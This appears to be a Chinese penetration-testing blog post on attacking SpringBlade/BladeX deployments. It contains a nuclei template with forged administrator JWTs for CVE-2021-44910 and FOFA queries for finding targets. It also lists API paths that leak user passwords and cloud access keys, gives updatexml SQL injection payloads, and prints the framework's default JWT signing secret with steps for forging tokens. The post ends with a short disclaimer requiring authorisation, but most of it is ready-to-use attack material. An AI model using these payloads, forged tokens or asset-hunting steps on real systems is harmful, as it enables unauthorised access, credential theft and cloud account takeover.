本文由掌控安全学院 -
不许打呼噜
投稿
SpringBlade是一个基于Spring Boot和Spring Cloud的微服务架构框架,它是由商业级项目升级优化而来的综合型项目。
CVE-2021-44910
id: springbladex
info:
name: springbladex
author: xxx
severity: info
description: "springbladex"
reference:
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44910.yaml
metadata:
fofa-query: icon_hash="1047841028"
tags: springbladex
http:
- method: GET
path:
- "{{BaseURL}}/api/blade-user/user-list"
- "{{BaseURL}}/api/blade-develop/datasource/list"
- "{{BaseURL}}/api/blade-resource/oss/list"
headers:
Blade-Auth: bearer {{bearer}}
attack: batteringram
payloads:
bearer:
- 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g'
- 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'
- 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg'
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains_any(body,"accessKey","secretKey","jdbc","account","password") && status_code == 200
0x1 前言
最近跟一些大佬学习了blade的漏洞,所以自己总结了一下,在渗透测试过程中,遇到blade框架的时候,该有哪些渗透思路,Springblade是基于spring-boot开发的,接口泄露、sql注入他也存在。
0x2 Spring-blade特征
特征1
看到一把剑没有,这就是它的特征,可以将一个ico图片,下载下来,在fofa、鹰图上搜索,很多资产都是blade的
icon_hash="1047841028"
特征2
在页面加载过程中,会出现以下的加载页面,和最下方的https://bladex.vip
,此时我们就可以将这个地址放到fofa上去扩大资产
body="https://bladex.vip"
特征3
在路径中若发现blade
,这个字段,也基本可以确定是blade框架
/api/blade-user/info
/api/blade-auth/oauth/captcha
.....
0x3 发现资产
额,本来是像找一个可以注册的站,然后通过注册进去,想不到随便翻翻。。。。
直接把账号密码,写在页面中。。。。
进来之后,抓取数据包,说明一嘴,在路径中若看到blade-system
,这个路径也代表这个站就是blade框架
0x4 漏洞案列
4.1 接口泄露
正常情况下,应该是/api/blade-system/
,但很明显开发人员将前面的路径改了,这样有些人在使用扫描器批量扫资产的时候,就会错过这样的站点
/oaApi/blade-system/menu/buttons
/oaApi/blade-system/user/user-list
泄露了大量用户的姓名,密码(也包括管理员的信息)
/oaApi/blade-resource/oss/list
泄露云服务器的accesskey、secrekey,直接去接管
这里我们使用OSS Browser工具,使用cname进行连接,否者连接不上,登录成功,但里面不存在任何的数据。
下载地址:https://github.com/aliyun/oss-browser
这里还有很多的泄露信息的接口,就不一一列举了,我将自己收集的blade
api接口,放到附件里面了,需要的师傅自取。
/api/blade-system/user/user-list
/api/blade-system/tenant/select
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add
/system/dict/add
.......
4.2 SQL注入
/oaApi/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
e这个不存在这个漏洞
试了其他注入点,也不存在注入
/oaApi/blade-user/export-user?Blade-Auth=[jwt码]&account=&realName=&1-updatexml(1,concat(0x5c,database(),0x5c),1)=1
4.3 jwt硬编码
bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
漏洞原因:开发者在使用jwt进行身份认证时,并没有对默认的jwt密钥进行修改,导致黑客可以利用默认的jwt密钥去伪造jwt值,可以欺骗服务器获取用户权限等
教程:将上面的密钥放到箭头指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器
将修改后的jwt字段,放回Blade-Auth中,放包,看是否回显,若回显,则证明存在jwt硬编码。
不成功则会出现未授权
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):Bladex框架思路
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论